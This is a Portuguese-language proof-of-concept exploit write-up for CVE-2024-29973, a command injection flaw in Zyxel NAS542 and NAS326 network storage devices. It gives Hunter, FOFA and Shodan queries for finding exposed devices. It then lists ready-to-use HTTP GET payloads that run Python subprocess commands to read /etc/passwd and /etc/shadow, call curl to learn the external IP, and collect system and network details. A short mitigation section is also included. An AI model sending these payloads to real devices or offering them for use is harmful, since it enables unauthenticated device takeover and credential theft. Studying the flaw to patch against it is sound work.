
Exploit de prova de conceito para vulnerabilidade de injeção de comandos em dispositivos Zyxel NAS. Demonstra execução arbitrária de comandos por meio de requisições HTTP manipuladas, possibilitando a tomada de controle do sistema e extração de dados.
CVE-2024-29973 é uma vulnerabilidade crítica encontrada em certos dispositivos de rede Zyxel. Esta vulnerabilidade permite que um atacante não autenticado execute comandos arbitrários no dispositivo alvo ao explorar mecanismos inadequados de validação de entrada no firmware. Os atacantes podem enviar requisições HTTP especialmente criadas para o dispositivo, injetando comandos ao nível do sistema e potencialmente obtendo controle total sobre o dispositivo.
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326" FOFA: app="NAS542" || app="ZYXEL-NAS326" SHODAN: http.title:"Zyxel NAS326"
Injeção de Comandos: A vulnerabilidade surge devido à sanitização insuficiente de entrada em uma das interfaces web do dispositivo. Esta falha permite que atacantes anexem comandos do sistema operacional dentro de parâmetros de requisições HTTP.
Exemplo de Exploração: Atacantes podem injetar comandos através de uma requisição HTTP GET, como a abaixo, para executar código arbitrário:
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
Impacto: A exploração bem-sucedida resulta na capacidade de executar comandos do sistema, potencialmente levando ao controle remoto do dispositivo, vazamento de dados ou maior comprometimento da rede.
Para mitigar os riscos associados a esta vulnerabilidade, siga estas etapas:
Atualização de Firmware: Certifique-se de que todos os dispositivos Zyxel estejam atualizados para a versão mais recente do firmware. A Zyxel lançou patches que corrigem esta vulnerabilidade. Verifique regularmente por atualizações e aplique-as prontamente.
Segmentação de Rede: Isole dispositivos vulneráveis da infraestrutura crítica de rede. Exponha apenas serviços necessários e certifique-se de que as interfaces administrativas não estejam acessíveis publicamente.
Configuração de Firewall: Restrinja o tráfego de entrada e saída apenas a serviços essenciais. Bloqueie acesso HTTP desnecessário a dispositivos Zyxel.
Monitoramento de Atividades Suspeitas: Implemente ferramentas de registro e monitoramento que possam detectar e alertar sobre comportamentos incomuns, como tentativas repetidas de login ou padrões anormais de tráfego.
Referências National Vulnerability Database - CVE-2024-29973 Zyxel Security Advisory

GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1